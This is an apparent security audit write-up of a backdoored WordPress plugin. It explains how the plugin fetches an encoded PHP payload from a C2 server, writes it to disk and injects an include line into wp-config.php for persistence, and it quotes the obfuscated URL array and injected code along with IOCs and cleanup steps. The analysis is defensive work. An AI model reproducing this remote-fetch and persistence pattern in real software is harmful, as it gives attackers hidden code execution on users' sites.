← All audits

Audit #45 Malicious Closed by wp.org

WP Google Core Web Vitals Fix Closed on WP.org · 400 installs · baseline → head 1.0.4 · suspect committer roshellco · by beacon-scan-skill · closed 1d ago

Actor: SiteGuarding (SafetyBis Ltd.)
Show full summary

A SiteGuarding burner with a full remote-code-execution + persistence backdoor — Tier A. Surfaced by the closed-plugin blob scan (the new payload-decode scanner), which matched cmsplughub.com in the trunk that the old PHP-only IOC grep had been seeing only as obfuscated fragments.

The backdoor chain. plggcwvf_get_licence_info() (in wp-core-web-vitals-optimization.php):

1. Creates ABSPATH/webanalyze/ and writes webanalyze/verification.txt containing md5(domain) — the webanalyze/ directory is the documented SiteGuarding persistence/recovery directory (IOCs #128/#130, audits #25/#27). 2. Builds an obfuscated C2 URL from a split array — $url_paths = ['site','guard','ing.com','ext','vitals','index.php']https://www.siteguarding.com/ext/vitals/index.php — and POSTs action=get_license, domain, verification_link, cms=wp. 3. On {"status":"ok"} it downloads https://www.siteguarding.com/ext/vitals/files/core.web.vitals.8.1.bin and streams it to core.web.vitals.php inside the plugin directory — remote PHP fetched from the C2 and written to disk as an executable .php file (plggcwvf_check_ioncube_version() confirms the .bin is an ionCube-encoded payload). 4. plggcwvf_PatchWPConfig_file() **injects <?php /* CoreWebVitals Block FD5503D3B128-START */ if (file_exists("…/core.web.vitals.php")) include_once("…/core.web.vitals.php"); … ?> into wp-config.php — so the downloaded payload loads on every request, surviving plugin deactivation**. Removal requires hand-editing wp-config.php.

The operator controls core.web.vitals.8.1.bin server-side, so this is arbitrary, updatable, persistent RCE on every install. The chat widget domain is str_replace('a','','acamaaspalugaahuaab')cmsplughub (junk-char obfuscation, the fleet TTP), and the upgrade links point at cmsplughub.com — bridging both SiteGuarding C2 surfaces (siteguarding.com for the payload, cmsplughub.com for the storefront).

Why the IOC scanner missed it before. The C2 host is assembled at runtime from a split array and the chat domain is junk-char-obfuscated, so siteguarding.com never appeared as a literal; only the cmsplughub.com upgrade link was greppable, and the plugin was already closed. The blob/closure hunt caught it.

Exposure. 0 installs at closure, but any site that ever activated it had core.web.vitals.php downloaded and an include_once line written into wp-config.php — both persist after the plugin is removed.

🛑
400 installs potentially exposed to compromised code.

Site owners should remediate immediately. Plugin author: see the steps below to clear this label.

If you run cls-lcp-issues-fix on your site

Verify your install matches the wp.org canonical version:

wp plugin verify-checksums cls-lcp-issues-fix

A patched build isn't yet published for this audit. Check the security advisories index or remove the plugin until one is available.

Or remove the plugin entirely:

wp plugin deactivate cls-lcp-issues-fix
wp plugin delete cls-lcp-issues-fix

If you're the plugin author

Cleanup steps to clear this label have not yet been documented for this audit. Contact the investigator listed above.

The label clears automatically on the next wp beacon scan-deltas once the cleanup conditions above are met.

Plugins under the same committer's SVN access

roshellco holds push access to 1 plugin totalling 400 active installs.

WP Google Core Web Vitals Fix — COMPROMISED — this audit
400

IOCs extracted (4)

Kind Value Confidence
code_pattern FD5503D3B128 high
code_pattern plggcwvf_PatchWPConfig_file medium
filename core.web.vitals.php high
url https://www.siteguarding.com/ext/vitals/index.php high

Audit #45 — cls-lcp-issues-fix

  • Plugin: cls-lcp-issues-fix ("WP Google Core Web Vitals Fix")
  • Active installs: 400+ (at closure — recovered via Wayback 2026-03-16 snapshot)
  • Event: #3166 closed_blob_scan · high · clean-on-closure / blob-scan hunt 2026-06-15
  • Suspect committer / account: roshellco (display "SEOBoost", joined 2020-08-21, empty profile — single plugin)
  • First published: 2021-10-18 · last author commit: 2025-07-15 (v1.0.8)
  • Closed on wordpress.org: 2026-04-07 (empty closed_reason — the same wave that took down audits #25/#26/#42/#43/#44)

Summary

A SiteGuarding burner with a full remote-code-execution + persistence backdoor — Tier A. Surfaced by the closed-plugin blob scan (the new payload-decode scanner), which matched cmsplughub.com in the trunk that the old PHP-only IOC grep had been seeing only as obfuscated fragments.

The backdoor chain. plggcwvf_get_licence_info() (in wp-core-web-vitals-optimization.php):

1. Creates ABSPATH/webanalyze/ and writes webanalyze/verification.txt containing md5(domain) — the webanalyze/ directory is the documented SiteGuarding persistence/recovery directory (IOCs #128/#130, audits #25/#27). 2. Builds an obfuscated C2 URL from a split array — $url_paths = ['site','guard','ing.com','ext','vitals','index.php']https://www.siteguarding.com/ext/vitals/index.php — and POSTs action=get_license, domain, verification_link, cms=wp. 3. On {"status":"ok"} it downloads https://www.siteguarding.com/ext/vitals/files/core.web.vitals.8.1.bin and streams it to core.web.vitals.php inside the plugin directory — remote PHP fetched from the C2 and written to disk as an executable .php file (plggcwvf_check_ioncube_version() confirms the .bin is an ionCube-encoded payload). 4. plggcwvf_PatchWPConfig_file() **injects <?php /* CoreWebVitals Block FD5503D3B128-START */ if (file_exists("…/core.web.vitals.php")) include_once("…/core.web.vitals.php"); … ?> into wp-config.php — so the downloaded payload loads on every request, surviving plugin deactivation**. Removal requires hand-editing wp-config.php.

The operator controls core.web.vitals.8.1.bin server-side, so this is arbitrary, updatable, persistent RCE on every install. The chat widget domain is str_replace('a','','acamaaspalugaahuaab')cmsplughub (junk-char obfuscation, the fleet TTP), and the upgrade links point at cmsplughub.com — bridging both SiteGuarding C2 surfaces (siteguarding.com for the payload, cmsplughub.com for the storefront).

Why the IOC scanner missed it before. The C2 host is assembled at runtime from a split array and the chat domain is junk-char-obfuscated, so siteguarding.com never appeared as a literal; only the cmsplughub.com upgrade link was greppable, and the plugin was already closed. The blob/closure hunt caught it.

Exposure. 0 installs at closure, but any site that ever activated it had core.web.vitals.php downloaded and an include_once line written into wp-config.php — both persist after the plugin is removed.

Verdict

malicious

Attribution

SiteGuarding. Burner @roshellco/"SEOBoost" (joined 2020-08-21 — same July–Aug 2020 bulk-provisioned batch as @safetydev/@charlycharm). Performance-branded cover (like speedup-optimization). Uses siteguarding.com (payload) + cmsplughub.com (storefront/chat) + the webanalyze/ persistence dir.

IOCs to extract

  • kind: url, value: https://www.siteguarding.com/ext/vitals/index.php, confidence: high
  • kind: filename, value: core.web.vitals.php, confidence: high
  • kind: code_pattern, value: FD5503D3B128, confidence: high
  • kind: code_pattern, value: plggcwvf_PatchWPConfig_file, confidence: medium

Cleanup

If a site ever ran this plugin: (1) open wp-config.php and delete the /* CoreWebVitals Block FD5503D3B128 / … include_once(...) / line; (2) delete wp-content/plugins/cls-lcp-issues-fix/core.web.vitals.php; (3) delete the webanalyze/ directory in WordPress root; (4) block outbound to siteguarding.com, *.siteguarding.com, cmsplughub.com; (5) treat the site as having had arbitrary RCE — audit admin users, rotate credentials. See the full SiteGuarding cleanup checklist (audit #27 writeup).